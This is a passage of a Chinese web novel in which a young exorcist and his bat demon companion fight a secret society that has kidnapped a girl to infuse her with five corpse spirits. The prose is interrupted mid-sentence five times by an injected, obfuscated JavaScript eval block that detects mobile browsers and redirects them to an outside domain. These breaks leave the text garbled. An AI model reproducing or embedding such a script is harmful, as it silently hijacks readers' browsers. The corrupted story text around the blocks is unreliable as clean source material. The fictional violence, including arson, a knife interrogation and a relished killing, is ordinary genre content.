也难怪对方会对别墅里的情况这么了解,原来是事先踩过点。 吴总则埋怨起了吴太,说你成天就知道买化妆品,把坏人放进来了都不知道。 吴太一脸委屈,说自己还不是为了打扮漂亮点,给你争面子? 我哑然失笑,打断了这对老夫少妻的争吵,起身对别墅里的人说, “对方只有一个人,她知道我在这儿,应该不敢直接冲进来,所以你们只要待在原地就一定没事。” 等到天亮后,凶手失去了动手机会,自然就会撤退了。 老姜很不淡定地反驳我,“可凶手怎么可能甘心一直跟我们耗下去?” 他话刚说完,吴太就惊呼一声,指着落地窗大喊,“快看,那里有个影子。” 哪里? 我反应很快,马上抓着桃元木剑冲出去。 前脚刚跨出大厅,我就发现浓雾变深了,周围冷风呼呼吹奏着,连个鬼影子都看不到。 老蝙蝠马上提醒我,“调虎离山,别再上当了。” 我嗯了一声,急忙转身。 可回头瞬间,一道黑影直接从房梁跃下,灵巧地扑向我。 我头上一片黑云盖顶,视线变得黯淡。 要换成以前我可能会吓到手足无措,可这会儿却反应神速,把桃元木剑猛地往上一撩,“中!” 雷击木虽说不够锋利,但阳煞气息十足。 瞬间我感觉木剑刺中了目标,传来很真实的触碰感。 可惜,这只是一把木剑,要是铁剑的话,估计对方已经被开膛破肚了。 黑影一击不中,被我的反应吓一跳,赶紧借力越过我头顶,再次一头扎进浓雾。 看她的速度和姿态,的确是个身材灵巧,动作很轻盈的女人。 “老娘们站住!” 老蝙蝠见我差点吃亏,马上扑腾翅膀追上去。 我虽然心底疑惑,可还是硬着头皮跟上。 这么僵持也不是办法,难得她主动现身,只要我能抓住这女人,所有问题就迎刃而解了。 黑影速度够快,但架不住老蝙蝠会飞。 一旦被老蝙蝠咬住了尾巴,想跑就不是那么轻松了。 我冲出去的时候,恰好看见两团灰色的影子正在搏斗,当即举着桃元木剑冲出去, “老黄,我来帮你!” 朦胧的白雾中投射出一道月光,照在黑影身上,对方回头的瞬间,果然露出一道女人的面孔。 我怔了下,这女人年纪不大,也就二十出头的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744014|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,五官白皙,看上去还挺漂亮。 只是,她看向我的眼神却充斥着强烈的恨意,甩手就从袖子里扔出一根长钉。 钉子只有三寸长,破空速度极快,眨眼就到了眼前。 我急忙挥动桃元木剑,挡住了自己的脸。 铁钉扎中桃木,被木剑反弹来。 对面女人却趁机一滚,再次投身浓雾。 我大喊,“老黄,别让她跑了。” “嘿嘿,被我盯上妞儿没这么容易跑!”老蝙蝠猥琐地回应一声,身形化作灰雾,自上而下覆盖在神秘女人身上。 我想着这把应该是稳了。 可出乎意料的是,被老蝙蝠缠身后,对面女人并没有放弃抵抗。 反倒取出一张紫符,反手贴向老蝙蝠的虚影。 “啊!” 老蝙蝠惧怕那张紫符,顿时惨呼一声栽倒下来,连身形都变得黯淡不少。 对面女人则发出一声银铃般的冷笑,“林峰,这次算你占了便宜,下次不会再好运了。” 说罢她闪身一扑,彻底钻进浓雾中消失不见。 跑了? 我吃惊地看着老蝙蝠,心里那个憋屈。 不得不说老蝙蝠是个奇葩,当你觉得他不行的时候,总能给你带来意外惊喜。 一旦你觉得它行了,马上攒坨大的拉给你看。 这样都能被对方跑掉,简直给大妖界丢人。 我冲上去,用桃元木剑挑开那张紫符。 老蝙蝠七手八脚地蹿起来,变成一道灰气钻进槐木牌,瑟瑟发抖说,“吓死爹了,这女人身上宝贝真多,居然有专门对付大妖的锁妖符。” 我凝神看向那张紫符。 符纸的材质很不一般,一看就是出自名家手笔。 符文运转流畅,爆发的灵韵相当强烈,比明叔压箱底那几张蓝符还要高一个层次。 也难怪老蝙蝠失手,这张符的威力很强大,是专门克制大妖的,要不是老蝙蝠经历过一次雷劫,元神稳固,只怕会被它直接打散。 老蝙蝠带着哭腔说,“完了完了,早知道就不贪嘴要十五只母鸡了,这次亏大发,差点把我好不容易聚起来的元神打回原形。” 知道老蝙蝠吃了大亏,我赶紧安慰道,“你好好休息吧,那十五只母鸡我会凑给你的。” 第122章 神秘墨镜男 出道至今,我还是头一次吃这种亏。 就连老蝙蝠都差点被打散了元神,这也说明,鬼面会的人确实很厉害。 幸好对面的女人也吃了个暗亏,被我用桃元木剑戳中,选择败退。 当她撤离之后,原本围绕在吴家别墅四周的浓雾也渐渐散了。 我拖着沉重的脚步往回走,刚走进客厅,吴总就在老姜的搀扶下走向我,迫不及待问道, “怎么样,抓到坏人了吗?” 我叹口气,无奈摇头说,“她很厉害,我抓不住,让她跑了。” “什么,跑了?” 吴总气得不行,跺脚说你怎么能让坏人跑掉呢,万一她回头再找我麻烦怎么办? 我看着吴总那副急赤白脸的表情,心里同样窝火,冷冷说,“首先我不是故意放她跑的,其次,就算你是吴娅的老爸,也没资格在我面前指东画西!” 有钱又怎么样,你钱再多也不会给我。 老子好心赶来帮忙,你还用这种态度对我,真拿我当小瘪三了。 吴总注意到我的脸色,赶紧换了副说辞,“我不是故意的,只是……” “好了,这家伙的主要目标其实是我们,经过今天晚上的事,应该不会再找你麻烦了。” 我不想跟他废话,打算收拾东西回去。 这时候外面却传来汽车急刹的声音,我顿住脚步,发现是明叔带着王刚跑回来了。 可两人身边并没有跟着吴娅。 我马上说,“你们怎么空着手回来,吴娅呢?” 明叔直叹气,“我们去晚了一步,吴娅好像是被人带走了。” 什么?! 我听完直接就炸了,吴总也用力推开老姜,踉跄着跑来,“我女儿被谁带走了,你们说啊!” 明叔没吭声,从怀里掏出一张纸条。 纸条上只有一段很简洁的话: 想救人,就来麻风岭找我! 文字是用血写的,歪歪扭扭,红得触目惊心。 我脑门一炸,眼珠直接就瞪红了。 该死的鬼面会,居然没底线到这个地步。 为了向我们复仇,居然玩起了绑架。 吴总也看到了纸条上的内容,顿时激动得不行,大吼道,“你们快去救我女儿,快去啊。” 明叔很不高兴地瞪他一眼,“你什么态度,平时在公司大呼小叫惯了吧,我可不是你的下属!” 吴总声音颤抖,“可你们如果不去,我女儿会出事的。” “好了,你别担心,我会帮你救出吴娅的。” 我勉强平复好情绪,让他别吵。 吴总虽然过分,可对女儿的担心却是真的,不断对我们进行哀求。 他的声音搞得我很烦,只能呵斥道,“说了我会尽力,你别吵了!” 打发完吴总,我才跟明叔重新凑到一起商量。 明叔迟疑说,“小林,这件事真的很麻烦,不是一般的麻烦,对方最主要的目标是冲你来的,对付吴家只是个幌子,目地就是让你东奔西跑,无暇顾及自己。” 道理我很清楚,但我毕竟不是个石头人,做不到那么狠心。 哪怕我和吴娅没有缘分,也不能眼睁睁看她落到歹徒手上。 现在的问题是我们人手不够,老蝙蝠刚才被紫符暗算打伤,没办法再出力。 明叔又是个标准的理论派,嘴上功夫天下无敌,一到动手的时候就抓瞎。 至于王刚,这丫连黎巫法本上的字都认不全,空有一身蛮力,顶不上大用。 一个人跑去救吴娅,实在太勉强了。 明叔也知道这点,叹气说,“老弟,不是不帮,是真心帮不了。” 如果T恤男还在这儿,我跟他联手或许有胜算。 可这家伙不知道怎么搞的,总是喜欢玩神秘,隔三差五地失踪,电话也联系不上,真心让人头疼。 就在我抓耳挠腮,不知道怎么是好的时候,门口却忽然闪过一道身影。 我格外谨慎,还以为是刚才那个神秘女人杀回来了,赶紧握住桃元木剑。 可来的人并不是刚才的神秘女人,而是一个身穿风衣、脸上带着大墨镜,满脸胡子拉渣,看上去十分憔悴的中年人。 这个人的年纪大概四十岁左右,身材削瘦,却给人一种相当稳健的感觉。 人往那儿一站,像极了一块石头。 我一脸惊讶,刚想走上去询问对方身份。 落花洞女就飞快给出提醒,“别去,这个人很厉害,不知道是敌是友,打起来你肯定斗不过他。” 能够让落花洞女做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744015|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种评价,证明这个墨镜男确实不简单。 我顿住脚步,跟墨镜男对视了一眼。 他隐藏在墨镜下的眼神很犀利,在我身上淡淡一扫,然后移开,自言自语道,“看来还是来晚了一步。” 我愣了下,问道,“老哥,你也是奔着吴家来的?” 说话的同时,我暗暗握住桃元木剑,浑身每个细胞都紧绷得厉害。 这个墨镜男出现得太突兀了,完全不知道身份。 神秘女人前脚刚走,他后脚就出现,很难不引起我的怀疑。 大概是看出了我的谨慎,墨镜男忽然笑了下,“别紧张,我既不是冲着吴家来的,也不是冲你,更不是鬼面会的人。” “那你到底是谁?” 听他这么说,我反倒更紧张了。 这家伙气势不俗,而且还知道鬼面会的存在,绝对不是普通路过这么简单。 墨镜男迟缓地张嘴说,“我来这儿,是为了抓一个人,可惜来晚了,那人已经跑了。” 我和明叔面面相觑,“怎么,你和鬼面会有仇?” 对方知道鬼面会的存在,还口口声声说要来这里抓人,既然不是冲我们和吴家来的,那就只能是奔着鬼面会的杀手而来。 他没有否认,默默低头,在那张纸条上扫了一眼,随后笑笑说, “刚在外面听到你们的谈话,好像你们处境不太妙,像是被鬼面会威胁了对吧?” 我正要回答,明叔已经挡在我前面,不咸不淡说,“没有,哥们你听错了。” 身在江湖,凡事都要多留个心眼。 我们既不了解墨镜男的身份,也不知道他的意图,没出于谨慎,明叔不想再和他搭话。 墨镜男似乎也看出了这点,但只是笑了笑,没在意,转身往夜幕下走了。 风中飘来一句话,“鬼面会的人很危险,你们最好别再招惹。” 这个人走得很快,等我跨出别墅大门时,他已经消失在夜幕下。 我抹了把冷汗说,“这家伙谁呀,气势好强!” 明叔皱眉摇头,“无论他是谁,都跟我们没关系,也没有必要再深究。” 玄门的世界很大,说不准哪天就会遇上一个世外高人。 对于这种不知道底细的人,还是保持距离比较好。 第123章 火攻 我很认同明叔的话,现在的自己确实无暇他顾。 吴娅被掳走的事已经让我很烦了,更加没功夫去理会一个不认识的家伙。 这会儿天色也亮了,我们没有继续待在吴家,便开车返回了古香斋。 回了店铺之后,我立刻点上一柱黄香,让老蝙蝠吸个够。 同时让王刚去买了几只大肥母鸡,帮助老蝙蝠补身体。 昨晚它被紫符伤了元气,再次出来的时候,元神变淡了不少。 实力必然会打折扣,短时间内肯定无法复原。 我只能尽量让它多吸香,免得将来留下后遗症。 这种待遇比较少,老蝙蝠看着被我丢进房间的几只老母鸡,感激得一把鼻涕一把泪,“好久没吃这么撑了,老大你果然对我好。” 我说,“别废话了,你受伤也是为了帮我,帮你补回元气是我分内的事。” 它兴奋地挥爪子,“老大你放心,等我元神彻底恢复,拿回了巅峰期实力,一定帮你铲平整个鬼面会。” 丫的就知道吹牛逼,我都懒得搭理,摇头说,“不用等以后了,抓紧时间干饭,下午陪我出去一趟。” 老蝙蝠正兴奋地抱着母鸡要下嘴,听我这么说,又把母鸡给放下了。 我瞪眼说你啥意思? 它转身跳上神龛,拿屁股对着我,“现在去找鬼面会的人,就跟和尚洗头用飘柔一样,瞎几把耽误功夫,搞不好还要送死。” 我气得想踹它,好歹是个大妖,出息呐。 老蝙蝠偏头看我说,“这不是出不出息的事,我的情况你很清楚,你的情况我也了解。” 以我们这点能力,直接找鬼面会的人硬刚,纯纯是找死。 我吸口气道,“话不是这么说的,男子汉大丈夫,有所为有所不为。” 大伯走的时候曾经告诫过我,要行善积德多做好事。 我是林家唯一的后人,早晚要扛起家族这面旗。 如果遇上点挫折就迎难而退,根本不配做林家的后人。 老蝙蝠切了一声,说你什么时候学会讲这些大道理了, “你实在要送死,我也可以不拦你,不过丑话说在前面,我顶你帮你搞情报工作,救人的事你自己上,我活到今天不容易,没必要为了一个妞把命搭上。” “成交!” “那事成之后,你再给我准备五只老母鸡。” “尼玛……” 尽管恨得牙痒,我还是答应了老蝙蝠的要求。 谁让自己实力不济,离不开它的帮助。 上午睡了一觉,养足精神,下午我就带上槐木牌出发。 这次我没通知明叔,和鬼面会打交道的风险太大,不希望连他一起连累。 可当偷溜出后门之后,我还是发现身后有个鬼鬼祟祟的家伙正在跟踪。 回头我看着王刚没来得及藏好的半拉屁股,说死胖子你出来吧,别藏了。 王刚从垃圾堆附近跳出来,讪笑说,“你怎么发现我在跟踪?” 我白眼一翻,好气又好笑,说哪有你这么藏的,半截屁股都露在外面,我认识你屁股,当然一眼就分辨出是你了。 我质问王刚跟着我干嘛。他说当然是陪你一起去救人了。 我愣了一下,说你怕死啊? “怕,老实说我怕得要死,可哥们决定了要做一件事,我怎么能当缩头乌龟?” 王刚拍了拍胸脯,他的话让我十分感动。 毕竟是从小到大同穿一条裤子的兄弟,有这份心就够了。 我摇头说,“谢谢,不过这么危险的事用不上你,你要真想帮我忙,就回去好好学本事吧,等将来变厉害了再帮我。” “少看不起人了,这两个月我一直在学黎巫法门,好歹有了一些成果,你不一定是我对手好不啦。”王刚在我面前打了套军体拳,看得我只想发笑。 这夯货,一直都这么会耍宝。 槐木牌忽然传来老蝙蝠的声音,“带上他也行,好歹有个接应,只要不直接和鬼面会接触就好。” 我迟疑再三,还是同意了。 沿着纸条上记载的地址,我打车来到了麻风岭附近。 这是一个荒废的城乡居民点,前面有十几条小巷子,巷子后面是几栋废弃的老楼,位置很偏僻,再往后就是一片大山了。 曾经这里住着很多外来务工的人,但不知道什么原因,居然落魄成这样。 老蝙蝠用灵眼感知了一下,很严肃地飞回来对我说道,“这里是个聚阴点,前面那几栋废弃老楼,是按照五虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744016|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擒羊的格局建造的。” 我纳闷地看向老蝙蝠,说你还懂风水? 它一脸嘚瑟道,“妖只要活得够久,能学的知识海了去了,爷还懂外语呢,are,you,ok?” 我一脸瀑布汗,这家伙简直就是个人精。 现在不是开玩笑的时候,我环顾四周,从前面那几栋老楼的破烂程度来看,估计这个人为制造的聚阴点已经存在很久。 只是我不明白,为什么鬼面会的人要躲在这里。 老蝙蝠说,“早年间,这里肯定发生过一些事。” 虽然聚阴点是人为制造的,可飘散在这里的大量阴气,却并非自然形成。 “没猜错的话,这里死过很多人,是一栋不折不扣的鬼楼。” 一听到鬼楼两个字我就犯怵,尽管哥们入行也有小半年了,还是突破不了对鬼魂的恐惧心理。 老蝙蝠没有在意我的表情,指了指左边那栋老楼, “五虎擒羊,正对的位置就是阴眼所在,那里阴气最强,有明显的法阵波动,你要找的人多半被抓来困在那里。” 我咽了口唾沫,这么强的法阵波动,靠我这点本事肯定破不了。 要救人,必须动脑子。 很快我想到一个办法,对跟在身后的王刚说,“胖子,带打火机了没?” 王刚以为我要抽烟,掏出一个烟盒递来。 我说抽个屁,哥们给你个任务,去那栋房子附近点火,烧得越旺越好。 对方已经布置好法阵,只等我去送人头。 煞笔才直接往里面冲。 我让王刚点了这栋老房子,不信里面的人不出来。 王刚瞠目结舌道,“你这么做,够损的。” 呵呵,小人就小人吧。 我从来不以正人君子自居,做这些事都是被逼的。 打发走王刚,我陪老蝙蝠找了个阴凉角蹲下,边抽烟边等。 以前我很少抽烟,但自从入了这行,烟瘾明显变大了。 每天面临这么多心理压力,感觉整个人都憔悴了不少。 王刚没让我失望,十几分钟后,老楼已经烧起来。 我趴在角落里,看见几道狼狈的身影正在浓烟下逃窜,有人慌不择路,正跑向我的藏身点。 第124章 五煞阵 火光下,好几个人正飞快跑出火场。 这场火比较突然,鬼面会的人肯定想不到我会出这种损招。 反正只是一栋废弃老楼,没有其他住户,多烧死几个王八蛋也没什么。 慌乱中,有个脑门上留着两撮黄毛的家伙跑向了我这边。 我凝神静气,躲在暗处等待机会。 当他冲进巷子的一瞬,我果断出手,一个虎扑跳过去,挡住这家伙去路。 黄毛被吓了一跳,条件反射般哆嗦嘴,“你是谁?” 回应他的是蓄势待发的重拳,正面砸中他的鼻梁。 对鬼面会的人,根本不需要客气。 这一拳我几乎倾尽全力,小黄毛鼻梁塌陷,传来咔嚓的骨折声。 鼻血嗤出来,差点飙到他脑瓜顶上。 “唔!”小黄毛一个倒栽葱跌在地上,捂着渗血的鼻子哀嚎。 可鼻腔传来的剧痛让他无法哼声,鼻血倒灌进气管,他憋得很难受。 我冲上去,一脚塌中他胸口,“人呢?” 小黄毛哼唧两声,擦掉鼻血一脸的茫然,“什、什么人?” “让你给老子装蒜!”我火冒三丈,抽出折叠刀顶在他脖子上。 冰凉的刀锋散发出一股寒气,刺得小黄毛浑身缩紧,抖得好像鹌鹑。 我说,“你是鬼面会的成员,怎么会不知道吴娅被抓起来关到了哪里?” 小黄毛这才意识到我要问什么,捂着冒血的鼻梁说,“大哥,误会了,我只是他们请来看大门的,根本不是正式成员,没有参与上面的事。” 他的话让我一愣,继续拿刀子比划,恶声恶气道,“少废话,吴娅在哪儿?” 小黄毛被我吓得咽唾沫,指了指左手边一条楼道,“往里面走,大概十米,里面有个地下走廊,你进去就能看到那个被抓来的女孩了,只不过、不过她……” “不过什么?”我手上加劲,刀尖刺破小黄毛脖子。 虽然伤得不重,可小黄毛却吓得尖叫,“那女人邪门得很,她吸收好多怨气,你最好别碰她。” “胡说八道!”我已经失去耐心,一拳补在他太阳穴上。 小黄毛连哼都没哼一声,这一拳让他陷入了婴儿般的睡眠。 既然得到了吴娅的具体位置,我就不耽误了,趁着守在里面的人被火光吓跑,赶紧冲向小黄毛说的那条楼道。 老蝙蝠小声提醒我,“老大,不对劲啊,刚才那个黄毛说吴娅现在变得很可怕,我怎么感觉他不像是在撒谎。” 我不耐烦说,“放屁,吴娅是个普通女孩,怎么会变得可怕,肯定是这家伙胡说八道。” 我急着救人,一步都没有停下,很快便冲向了那条通道。 这时里面跑出一个中年男人,看着我拿刀站在楼道口,马上指着我大吼,“站住,你小子是什么人……” “要你命的人!”不等他说完,我一个健步跨过去,折叠刀往他胸膛一送。 经历过昨晚的事,我对鬼面会的人早就深恶痛绝。 曾经的自己杀只鸡都打颤,可现在却对杀人毫无心理负担。 刀锋刺中这个人的胸口,他啊了一声,瞪圆了眼珠倒下。 鲜血溅我一身。 我低头看着抽搐中的尸体,内心却感到一阵快慰。 除恶务尽,这种人本来就没有活下去的必要。 老蝙蝠再度提醒,“邪门了,怎么会这么顺利?” 我擦掉刀上的血污,跨过尸体说,“顺利点难道不好吗?” “不是,你没明白我的意思。” 老蝙蝠显化出来,看了看黑漆漆的楼梯通道,疑神疑鬼说,“昨天那个短发女人很厉害,她身边的人应该不至于这么弱。” 我能轻松突破老楼的防线,这不正常。 经它一提醒,我也愣住。 回想刚才那几个被火光吓跑的家伙,身手看着很普通,比正常人强不了多少,没有一点玄门高手的样子。 鬼面会的人不至于这么不堪一击。 老蝙蝠很谨慎地说,“我怀疑这个地方可能是个大陷阱,要不还是撤吧。” “撤个毛线,人不救了?” 明知道这里不对劲,但我还是硬着头皮往前冲,如果不能把吴娅救回来,恐怕我会自责一辈子。 我尥蹶子使劲跑,前面果然出现一个转折扣。 楼梯向下,出现了一个地下走廊。 走廊比较黑,入口很窄。 两侧墙壁涂满了横流的污水。 我刚进走廊,马上察觉到环境不对,顺手打开手电筒照明。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744017|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但当我看清楚里面的景象之后,又忍不住倒吸了一口凉气。 尸体! 这里居然齐刷刷摆着五具尸体。 五具尸体都是女人,衣服被剥光,用红绳挂在天花板上。 脚尖笔直下垂,长发的盖住脸。 光滑的后背上,布满了蜘蛛网一样的血纹。 这些血纹的造型十分诡异,皮肤被刀割出了很多血痕,弯曲交缠,密密匝匝的看上去十分恐怖。 其次每一具女尸头顶上,都插了一根六寸长的柳木钉。 “这是……锁魂钉!” 我一眼就认出了插在女尸们脑门上的钉子,因为这东西我曾经见过,所以不陌生。 大半个月前,我挖开吴娅母亲的坟头,将她被封印在下面的魂魄解救出来时,在棺材上面拔出的钉子,就是这一款。 同样造型,同样邪纹和气息。 “糟糕,这是五煞阵!”老蝙蝠的眼珠吓得凸出来,脸都扭曲到变形了。 我强压震惊,不解地问道,“什么是五煞阵?” “一种炼魂的邪门咒术,需要找五个生辰八字匹配的人,用邪术咒杀,再用密咒将尸体封存起来,经过七七四十九天的阴法加持。” 老蝙蝠咽了下口水,声音带着明显的紧张,“被邪术害死的人最容易养成厉鬼,这五具女尸都是养鬼的鼎炉。” 我眉毛恶狠狠地颤了下,同样被吓得不轻,喃喃说,“难道他们抓走吴娅,也是为了养鬼?” “不,应该不是。” 从没在老蝙蝠脸上看到过这么惊悚的表情,它带着颤音说,“五煞阴魂成型之后,会被转移到一个生辰八字最特殊的人身上。” 后者吸收了五煞的魂魄,将会继承它们的怨气和修为。 但五煞怨念太强,一般人根本无法吸收,必须是体质最特殊、生辰八字属阴的五道阴女,才能接受这些魂力的灌输。 五道阴女又是什么鬼? 我被老蝙蝠的话弄糊涂了。 它干咳一声说,“你可以把她看作是一种人形兵器。” 吸收了五煞邪气之后,五道阴女的体质会发生翻天覆地的改变,受邪念支配,成为彻头彻尾的魔女。 看这五具女尸的样子,多半也已经被吸收过了。 第125章 困境 老蝙蝠废话一箩筐,还是没讲清楚这五具女尸为什么会出现在这里。 她们的出现又跟吴娅被绑走的事情存在什么关联? 老蝙蝠急得抓耳挠腮,“你怎么这么蠢?五煞阴魂的邪气,只有五道阴女才能吸收,对方之所以抓走吴娅,是因为看中了吴娅的生辰八字。” 吴娅就是五道阴女! “你在跟我讲鬼故事吧?”我听完震惊到不行,吴娅只是个普通女孩,怎么会跟五道阴女的命格扯上联系。 这太扯了,我拒绝相信。 老蝙蝠说,“如果她不是五道阴女,鬼面会的人干嘛费劲把她绑到这里。” 我说,“难道不是为了做局把我引出来?” “你也太看得起自己了。” 老蝙蝠翻了个白眼,说光是为了对付你,根本不用这么麻烦。 对方抓走吴娅,肯定是有别的打算。 老蝙蝠让我好好想想,以鬼面会的势力,怎么会专程跟吴家过不去? 显然是吴家存在某种重要的东西,鬼面会非拿到不可。 而这个重要的东西,可以是物品,也可以是人。 我震惊得不说话了,闭上眼,反复回想最近发生的事。 老蝙蝠的分析不是没有道理,这么看来,吴娅才是鬼面会真正的目标。 就在这时候,我耳边传来诡异的“咯咯”转动声。 睁开眼,我发现那五具尸体居然转动起来。 她们身上的红绳子好像受到一股神秘力量的拉扯,尸体跟着晃动。 周围的气场骤变,走廊中涌来一股阴恻恻的气息。 “快看,尸体睁眼了。” 随着老蝙蝠的惊呼,果然那五具尸体不约而同睁开了眼睛。 泛白的眼珠,弥漫着死气沉沉的波动,就这样直勾勾盯着我。 我心里咯噔一下,刚要脚底抹油开溜,却发现来不及了。 悬挂尸体的位置发生了偏移,不知不觉间,我们居然被这五具尸体包围了。 一股不安的气息笼罩心头,我刚抬起一半的脚,马上重重地塌回原地。 此情此景,就算用屁股想,我也知道自己是中招了。 有人有尸体为阵,把我困在了走廊。 五具女尸身上的符纹也受到了阴煞气息的刺激,开始忽明忽暗闪烁起来。 强烈的危机感让我感受到了心悸,呼吸都停了。 老蝙蝠更是没出息地躲到我后面,苦着脸说,“说了让你别进来,偏不听。” 它昨晚受了伤,元神一直没有恢复,这次强行被我抓了壮丁,本来就没什么战斗力,所以怕得不行。 “你能不能有点出息,吃鸡的时候咋没见你这么怂!”我气乐了,咬着后槽牙骂它一通。 其实我也怕,可越到这个时候,越不能表现出胆怯。 就在这时候,走廊深处又传来一个女人银铃般的冷笑声, “呵呵,你还真来了,以为随便在外面放一把火,就能破坏我的布置吗?不得不说,你简直天真的可爱!” 我眉头往下一沉。 说话的人,正是昨天晚上被我赶跑的短发女人。 她没有直接现身,躲在暗处操控这些尸体,把我困在邪阵中间。 以前没接触过类似的布阵手法,我一时间也拿不定,被困在原地,搜肠刮肚的推算。 破书上倒是有很多破阵的知识。 可我研究得不算深入,急切间找不到破阵的办法。 老蝙蝠也是一脸抓瞎,表现得比我更没用。 思索半天,我横下一条心,对走廊深处吼道,“你究竟要干什么?” 短发女人阴笑道,“当然是为了炼制五道阴女,真想不到,吴家那个女孩竟然是罕见的五道阴女命格,实在太让我意外了。” 在短发女人的讲述下,我才知道了前因后果。 一开始她的确是为了替矮冬瓜复仇,才会盯上我们。 可在暗中调查的时候,竟意外发现吴娅是体质极为罕见的五道阴女。 所谓五道阴女,指的是投胎五次,每一世都赶上阴年阴月出生,天生的阴女命格。 于是短发女人改变了目标,决定先让人抓走吴娅。 至于我们,她本打算在吴家摆个邪阵顺手除掉。 没想到我这么难缠,不仅没死在她手上,反倒救下吴总。 我说,“那你留下纸条引我来这里,是为了继续除掉我?” “算是吧,得罪鬼面会的人注定没有好下场。” 短发女人冷冰冰地笑道,“如果让你活下去,会成为鬼面会的耻辱。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744018|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刚好,她查到我和吴娅的关系好像不那么单纯,就想到利用她的下落,再次把我引出来。 我咬牙切齿说,“你真卑鄙。” 对方哼道,“不卑鄙一点,怎么能在玄门活得长久?怪只怪你太愚蠢了,明知道这里有陷阱,还是义无反顾冲进来,死了也活该。” 随后她打了个响指,似乎失去了废话的兴趣,“就让她们陪你好好玩吧,恕不奉陪了!” 响指声落下,五具女尸同时抬起头颅。 眼球红得渗血。 “撤!”老蝙蝠没有二话,扭头化作一道灰气,直接奔出口窜逃。 靠,真尼玛不讲义气。 可它刚脱离五煞阵,一具女尸忽然张嘴,喉咙间有一股尸气喷洒出来。 尸气速度极快,老蝙蝠身子一偏,被强行逼退。 “惨了,这次真要被你害死。”它幽怨地看了我一眼。 “吃鸡的时候你怎么不说。”我心情很不爽,丢开折叠刀,把桃元木剑取出来。 天生地养的雷击木,经过我这么久的温养,已经有了灵性。 我把中指血抹在桃木上,掐了个斗字诀,一道阳煞之力喷薄而出,成功挡下尸气。 但尸气不止一道。 挡下第一股尸气,身后马上飘来第二股。 我挥动桃元后防,勉强挡下后背的偷袭,然后是第三道、第三道…… 五道尸气同时射来,逼得我手忙脚乱,被限制在了一个很小的范围里面。 意识到这样下去不行,我对老蝙蝠喊道,“老黄,快想办法。” “我想个鸡毛。” 老蝙蝠同样抓耳挠腮,可五煞阵是敌人提前布置好的,我们对地形不熟悉,完全找不到破阵的可能。 很快我就被逼到墙角,紧靠一把桃元木剑,很难抵御五具女尸的尸气攻击。 照这样下去,体力迟早耗尽。 这次是真的玩脱线了,危急关头我只好向落花洞女求救,可不知道为什么,这次她居然没有回应我。 靠,难道她已经玩腻了,宁可看着我死,都不肯再出手相助? 就在我感到绝望的时候,走廊外却传来轰的一声暴响,一股强悍的气息爆发出来,形成了飓风,竟然吹散了围绕在走廊里的尸气。 谁在帮我? 第126章 749局 突如其来的变故让我感到意外。 回头时,只见黑漆漆的走廊外一道金芒爆闪,化作飓风冲击五煞阵的阵眼。 五具女尸无法维持,身形剧烈摆动。 身上的红绳啪嗒开裂,好像下饺子一样接连砸向地面。 落地的女尸不再动弹,围绕在身边的尸气也肉眼可见的消退。 “有人在破阵。”老蝙蝠鬼头鬼脑地看向四周,小爪子搭着脑门,比我还要疑惑。 我则对那道金光传来的地方拱了下手,“是哪位前辈帮忙,请出来见一面。” 五煞阵的尸气不可能凭空消失,出现这种情况,说明外面肯定有个十分厉害的人帮了我们。 果然我的声音刚落下,就听到走廊台阶传来急促的脚步声。 